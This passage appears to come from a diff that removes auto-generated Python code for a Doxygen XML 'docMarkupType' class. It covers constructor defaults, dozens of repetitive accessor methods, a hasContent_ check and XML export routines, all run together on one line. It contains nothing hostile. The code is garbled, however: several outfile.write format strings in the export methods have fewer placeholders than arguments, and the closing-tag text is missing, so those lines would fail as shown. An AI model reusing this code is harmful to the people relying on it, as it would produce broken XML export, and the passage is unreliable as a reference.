dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - if hruler is None: - self.hruler = [] - else: - self.hruler = hruler - self.hruler_nsprefix_ = None - if preformatted is None: - self.preformatted = [] - else: - self.preformatted = preformatted - self.preformatted_nsprefix_ = None - if programlisting is None: - self.programlisting = [] - else: - self.programlisting = programlisting - self.programlisting_nsprefix_ = None - if verbatim is None: - self.verbatim = [] - else: - self.verbatim = verbatim - self.verbatim_nsprefix_ = None - if javadocliteral is None: - self.javadocliteral = [] - else: - self.javadocliteral = javadocliteral - self.javadocliteral_nsprefix_ = None - if javadoccode is None: - self.javadoccode = [] - else: - self.javadoccode = javadoccode - self.javadoccode_nsprefix_ = None - if indexentry is None: - self.indexentry = [] - else: - self.indexentry = indexentry - self.indexentry_nsprefix_ = None - if orderedlist is None: - self.orderedlist = [] - else: - self.orderedlist = orderedlist - self.orderedlist_nsprefix_ = None - if itemizedlist is None: - self.itemizedlist = [] - else: - self.itemizedlist = itemizedlist - self.itemizedlist_nsprefix_ = None - if simplesect is None: - self.simplesect = [] - else: - self.simplesect = simplesect - self.simplesect_nsprefix_ = None - if title is None: - self.title = [] - else: - self.title = title - self.title_nsprefix_ = None - if variablelist is None: - self.variablelist = [] - else: - self.variablelist = variablelist - self.variablelist_nsprefix_ = None - if table is None: - self.table = [] - else: - self.table = table - self.table_nsprefix_ = None - if heading is None: - self.heading = [] - else: - self.heading = heading - self.heading_nsprefix_ = None - if dotfile is None: - self.dotfile = [] - else: - self.dotfile = dotfile - self.dotfile_nsprefix_ = None - if mscfile is None: - self.mscfile = [] - else: - self.mscfile = mscfile - self.mscfile_nsprefix_ = None - if diafile is None: - self.diafile = [] - else: - self.diafile = diafile - self.diafile_nsprefix_ = None - if toclist is None: - self.toclist = [] - else: - self.toclist = toclist - self.toclist_nsprefix_ = None - if language is None: - self.language = [] - else: - self.language = language - self.language_nsprefix_ = None - if parameterlist is None: - self.parameterlist = [] - else: - self.parameterlist = parameterlist - self.parameterlist_nsprefix_ = None - if xrefsect is None: - self.xrefsect = [] - else: - self.xrefsect = xrefsect - self.xrefsect_nsprefix_ = None - if copydoc is None: - self.copydoc = [] - else: - self.copydoc = copydoc - self.copydoc_nsprefix_ = None - if details is None: - self.details = [] - else: - self.details = details - self.details_nsprefix_ = None - if blockquote is None: - self.blockquote = [] - else: - self.blockquote = blockquote - self.blockquote_nsprefix_ = None - if parblock is None: - self.parblock = [] - else: - self.parblock = parblock - self.parblock_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docMarkupType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docMarkupType.subclass: - return docMarkupType.subclass(*args_, **kwargs_) - else: - return docMarkupType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_hruler(self): - return self.hruler - def set_hruler(self, hruler): - self.hruler = hruler - def add_hruler(self, value): - self.hruler.append(value) - def insert_hruler_at(self, index, value): - self.hruler.insert(index, value) - def replace_hruler_at(self, index, value): - self.hruler[index] = value - def get_preformatted(self): - return self.preformatted - def set_preformatted(self, preformatted): - self.preformatted = preformatted - def add_preformatted(self, value): - self.preformatted.append(value) - def insert_preformatted_at(self, index, value): - self.preformatted.insert(index, value) - def replace_preformatted_at(self, index, value): - self.preformatted[index] = value - def get_programlisting(self): - return self.programlisting - def set_programlisting(self, programlisting): - self.programlisting = programlisting - def add_programlisting(self, value): - self.programlisting.append(value) - def insert_programlisting_at(self, index, value): - self.programlisting.insert(index, value) - def replace_programlisting_at(self, index, value): - self.programlisting[index] = value - def get_verbatim(self): - return self.verbatim - def set_verbatim(self, verbatim): - self.verbatim = verbatim - def add_verbatim(self, value): - self.verbatim.append(value) - def insert_verbatim_at(self, index, value): - self.verbatim.insert(index, value) - def replace_verbatim_at(self, index, value): - self.verbatim[index] = value - def get_javadocliteral(self): - return self.javadocliteral - def set_javadocliteral(self, javadocliteral): - self.javadocliteral = javadocliteral - def add_javadocliteral(self, value): - self.javadocliteral.append(value) - def insert_javadocliteral_at(self, index, value): - self.javadocliteral.insert(index, value) - def replace_javadocliteral_at(self, index, value): - self.javadocliteral[index] = value - def get_javadoccode(self): - return self.javadoccode - def set_javadoccode(self, javadoccode): - self.javadoccode = javadoccode - def add_javadoccode(self, value): - self.javadoccode.append(value) - def insert_javadoccode_at(self, index, value): - self.javadoccode.insert(index, value) - def replace_javadoccode_at(self, index, value): - self.javadoccode[index] = value - def get_indexentry(self): - return self.indexentry - def set_indexentry(self, indexentry): - self.indexentry = indexentry - def add_indexentry(self, value): - self.indexentry.append(value) - def insert_indexentry_at(self, index, value): - self.indexentry.insert(index, value) - def replace_indexentry_at(self, index, value): - self.indexentry[index] = value - def get_orderedlist(self): - return self.orderedlist - def set_orderedlist(self, orderedlist): - self.orderedlist = orderedlist - def add_orderedlist(self, value): - self.orderedlist.append(value) - def insert_orderedlist_at(self, index, value): - self.orderedlist.insert(index, value) - def replace_orderedlist_at(self, index, value): - self.orderedlist[index] = value - def get_itemizedlist(self): - return self.itemizedlist - def set_itemizedlist(self, itemizedlist): - self.itemizedlist = itemizedlist - def add_itemizedlist(self, value): - self.itemizedlist.append(value) - def insert_itemizedlist_at(self, index, value): - self.itemizedlist.insert(index, value) - def replace_itemizedlist_at(self, index, value): - self.itemizedlist[index] = value - def get_simplesect(self): - return self.simplesect - def set_simplesect(self, simplesect): - self.simplesect = simplesect - def add_simplesect(self, value): - self.simplesect.append(value) - def insert_simplesect_at(self, index, value): - self.simplesect.insert(index, value) - def replace_simplesect_at(self, index, value): - self.simplesect[index] = value - def get_title(self): - return self.title - def set_title(self, title): - self.title = title - def add_title(self, value): - self.title.append(value) - def insert_title_at(self, index, value): - self.title.insert(index, value) - def replace_title_at(self, index, value): - self.title[index] = value - def get_variablelist(self): - return self.variablelist - def set_variablelist(self, variablelist): - self.variablelist = variablelist - def add_variablelist(self, value): - self.variablelist.append(value) - def insert_variablelist_at(self, index, value): - self.variablelist.insert(index, value) - def replace_variablelist_at(self, index, value): - self.variablelist[index] = value - def get_table(self): - return self.table - def set_table(self, table): - self.table = table - def add_table(self, value): - self.table.append(value) - def insert_table_at(self, index, value): - self.table.insert(index, value) - def replace_table_at(self, index, value): - self.table[index] = value - def get_heading(self): - return self.heading - def set_heading(self, heading): - self.heading = heading - def add_heading(self, value): - self.heading.append(value) - def insert_heading_at(self, index, value): - self.heading.insert(index, value) - def replace_heading_at(self, index, value): - self.heading[index] = value - def get_dotfile(self): - return self.dotfile - def set_dotfile(self, dotfile): - self.dotfile = dotfile - def add_dotfile(self, value): - self.dotfile.append(value) - def insert_dotfile_at(self, index, value): - self.dotfile.insert(index, value) - def replace_dotfile_at(self, index, value): - self.dotfile[index] = value - def get_mscfile(self): - return self.mscfile - def set_mscfile(self, mscfile): - self.mscfile = mscfile - def add_mscfile(self, value): - self.mscfile.append(value) - def insert_mscfile_at(self, index, value): - self.mscfile.insert(index, value) - def replace_mscfile_at(self, index, value): - self.mscfile[index] = value - def get_diafile(self): - return self.diafile - def set_diafile(self, diafile): - self.diafile = diafile - def add_diafile(self, value): - self.diafile.append(value) - def insert_diafile_at(self, index, value): - self.diafile.insert(index, value) - def replace_diafile_at(self, index, value): - self.diafile[index] = value - def get_toclist(self): - return self.toclist - def set_toclist(self, toclist): - self.toclist = toclist - def add_toclist(self, value): - self.toclist.append(value) - def insert_toclist_at(self, index, value): - self.toclist.insert(index, value) - def replace_toclist_at(self, index, value): - self.toclist[index] = value - def get_language(self): - return self.language - def set_language(self, language): - self.language = language - def add_language(self, value): - self.language.append(value) - def insert_language_at(self, index, value): - self.language.insert(index, value) - def replace_language_at(self, index, value): - self.language[index] = value - def get_parameterlist(self): - return self.parameterlist - def set_parameterlist(self, parameterlist): - self.parameterlist = parameterlist - def add_parameterlist(self, value): - self.parameterlist.append(value) - def insert_parameterlist_at(self, index, value): - self.parameterlist.insert(index, value) - def replace_parameterlist_at(self, index, value): - self.parameterlist[index] = value - def get_xrefsect(self): - return self.xrefsect - def set_xrefsect(self, xrefsect): - self.xrefsect = xrefsect - def add_xrefsect(self, value): - self.xrefsect.append(value) - def insert_xrefsect_at(self, index, value): - self.xrefsect.insert(index, value) - def replace_xrefsect_at(self, index, value): - self.xrefsect[index] = value - def get_copydoc(self): - return self.copydoc - def set_copydoc(self, copydoc): - self.copydoc = copydoc - def add_copydoc(self, value): - self.copydoc.append(value) - def insert_copydoc_at(self, index, value): - self.copydoc.insert(index, value) - def replace_copydoc_at(self, index, value): - self.copydoc[index] = value - def get_details(self): - return self.details - def set_details(self, details): - self.details = details - def add_details(self, value): - self.details.append(value) - def insert_details_at(self, index, value): - self.details.insert(index, value) - def replace_details_at(self, index, value): - self.details[index] = value - def get_blockquote(self): - return self.blockquote - def set_blockquote(self, blockquote): - self.blockquote = blockquote - def add_blockquote(self, value): - self.blockquote.append(value) - def insert_blockquote_at(self, index, value): - self.blockquote.insert(index, value) - def replace_blockquote_at(self, index, value): - self.blockquote[index] = value - def get_parblock(self): - return self.parblock - def set_parblock(self, parblock): - self.parblock = parblock - def add_parblock(self, value): - self.parblock.append(value) - def insert_parblock_at(self, index, value): - self.parblock.insert(index, value) - def replace_parblock_at(self, index, value): - self.parblock[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - self.hruler or - self.preformatted or - self.programlisting or - self.verbatim or - self.javadocliteral or - self.javadoccode or - self.indexentry or - self.orderedlist or - self.itemizedlist or - self.simplesect or - self.title or - self.variablelist or - self.table or - self.heading or - self.dotfile or - self.mscfile or - self.diafile or - self.toclist or - self.language or - self.parameterlist or - self.xrefsect or - self.copydoc or - self.details or - self.blockquote or - self.parblock or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docMarkupType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docMarkupType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docMarkupType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docMarkupType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docMarkupType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docMarkupType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docMarkupType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - for hruler_ in self.hruler: - namespaceprefix_ = self.hruler_nsprefix_ + ':' if (UseCapturedNS_ and self.hruler_nsprefix_) else '' - hruler_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='hruler', pretty_print=pretty_print) - for preformatted_ in self.preformatted: - namespaceprefix_ = self.preformatted_nsprefix_ + ':' if (UseCapturedNS_ and self.preformatted_nsprefix_) else '' - preformatted_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='preformatted', pretty_print=pretty_print) - for programlisting_ in self.programlisting: - namespaceprefix_ = self.programlisting_nsprefix_ + ':' if (UseCapturedNS_ and self.programlisting_nsprefix_) else '' - programlisting_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='programlisting', pretty_print=pretty_print) - for verbatim_ in self.verbatim: - namespaceprefix_ = self.verbatim_nsprefix_ + ':' if (UseCapturedNS_ and self.verbatim_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sverbatim>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(verbatim_), input_name='verbatim')), namespaceprefix_ , eol_)) - for javadocliteral_ in self.javadocliteral: - namespaceprefix_ = self.javadocliteral_nsprefix_ + ':' if (UseCapturedNS_ and self.javadocliteral_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sjavadocliteral>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(javadocliteral_), input_name='javadocliteral')), namespaceprefix_ , eol_)) - for javadoccode_ in self.javadoccode: - namespaceprefix_ = self.javadoccode_nsprefix_ + ':' if (UseCapturedNS_ and self.javadoccode_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sjavadoccode>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(javadoccode_), input_name='javadoccode')), namespaceprefix_ , eol_)) - for indexentry_ in self.indexentry: - namespaceprefix_ = self.indexentry_nsprefix_ + ':' if (UseCapturedNS_ and self.indexentry_nsprefix_) else '' - indexentry_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='indexentry', pretty_print=pretty_print) - for orderedlist_ in self.orderedlist: - namespaceprefix_ = self.orderedlist_nsprefix_ + ':' if (UseCapturedNS_ and self.orderedlist_nsprefix_) else '' - orderedlist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='orderedlist', pretty_print=pretty_print) - for itemizedlist_ in self.itemizedlist: - namespaceprefix_ = self.itemizedlist_nsprefix_ + ':' if (UseCapturedNS_ and self.itemizedlist_nsprefix_) else '' - itemizedlist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='itemizedlist', pretty_print=pretty_print) - for simplesect_ 